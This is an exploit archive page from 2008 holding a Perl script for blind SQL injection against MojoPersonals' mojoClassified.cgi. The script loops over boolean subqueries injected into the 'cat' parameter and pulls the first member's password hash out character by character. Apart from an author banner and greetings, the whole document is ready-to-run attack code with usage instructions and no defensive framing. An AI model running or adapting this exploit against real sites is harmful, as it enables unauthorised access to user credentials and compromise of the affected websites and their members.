Home / exploitsPDF  

mojopersonals-sql.txt

Posted on 22 July 2008

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print " "; print " #################### Viva IslaMe Viva IslaMe ################ "; print " # MojoPersonals Blind SQL Injection Exploit # "; print " # (mojoClassified.cgi mojo ) # "; print " # Author: Mr.SQL # "; print " # EMAIL : SQL@HOTMAIL.IT # "; print " # # "; print " # -((:: GrE3E3E3E3E3ETZ ::))- # "; print " # # "; print " # HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab # "; print " # :: ALwHeD :: milw0rm :: # "; print " # # "; print " # <<>> MuSliMs HaCkErS <<>> # "; print " # # "; print " # HOME: WwW.PaL-HaCkEr.CoM # "; print " # # "; print " # Usage : perl test.pl host # "; print " # Example: perl test.pl www.host.com / -d 10 # "; print " # Options: # "; print " # -d valid cat value # "; print " ############################################################# "; exit; } my $host = $ARGV[0]; my $cat = $ARGV[2]; my %options = (); GetOptions(\%options, "u=i", "p=s", "d=i"); print "[~] Exploiting... "; if($options{"b"}) { $mojo = $options{"b"}; } syswrite(STDOUT, "[~] MD5-Hash: ", 14); for(my $i = 1; $i <= 32; $i++) { my $f = 0; my $h = 48; while(!$f && $h <= 57) { if(istrue2($host, $cat, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h++; } if(!$f) { $h = 97; while(!$f && $h <= 122) { if(istrue2($host, $cat, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h++; } } } print " [~] Exploiting done "; sub istrue2 { my $host = shift; my $cat = shift; my $i = shift; my $h = shift; my $ua = LWP::UserAgent->new; my $query = "http://".$host."mojoClassified.cgi?mojo=1&cat=".$cat." and (SUBSTRING((SELECT password FROM member LIMIT 0,1),".$i.",1))=CHAR(".$h.")"; if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); } my $resp = $ua->get($query); my $content = $resp->content; my $regexp = "tourterms.pdf"; if($content =~ /$regexp/) { return 1; } else { return 0; } }

 

TOP